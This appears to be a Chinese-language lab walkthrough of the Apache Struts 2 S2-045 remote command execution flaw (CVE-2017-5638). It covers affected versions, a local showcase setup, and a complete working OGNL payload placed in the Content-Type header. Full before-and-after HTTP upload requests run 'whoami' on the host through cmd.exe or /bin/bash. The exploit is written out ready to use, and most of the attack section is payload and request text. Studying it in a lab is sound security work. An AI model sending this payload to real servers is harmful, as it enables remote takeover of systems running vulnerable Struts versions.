Struts-2 S2-045
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一、参考网址：（视频）
https://www.ichunqiu.com/course/57725
二、 影响版本：
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
三、 漏洞介绍：
Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。
四、 环境搭建：
下载/struts/2.3.24
下载地址：http://archive.apache.org/dist/struts/2.3.24/
百度云链接：链接：http://pan.baidu.com/s/1dFeUyNv 密码：279t
下载安装xampp
部署showcase
1.png
- 解压
2.png
- 复制到
3.png
重启tomcat
4.png
- 已成功自动部署
5.png
五、 POC:
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
六、 测试数据包：
原始http数据包为
POST /struts2-showcase/fileupload/doUpload.action;jsessionid=8B365C019F676093D27D8C0D21439C2B HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
Referer: http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B365C019F676093D27D8C0D21439C2B
Connection: close
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="upload"; filename="2.txt"
Content-Type: text/plain
asd
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="caption"
1
------WebKitFormBoundaryXx80aU0pu6vrsV3z—
更改后为
POST /struts2-showcase/fileupload/doUpload.action;jsessionid=8B365C019F676093D27D8C0D21439C2B HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
Referer: http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B365C019F676093D27D8C0D21439C2B
Connection: close
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="upload"; filename="2.txt"
Content-Type: text/plain
asd
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="caption"
1
------WebKitFormBoundaryXx80aU0pu6vrsV3z—
七、执行结果
45-2.png
八、 至此，该漏洞基本利用完毕
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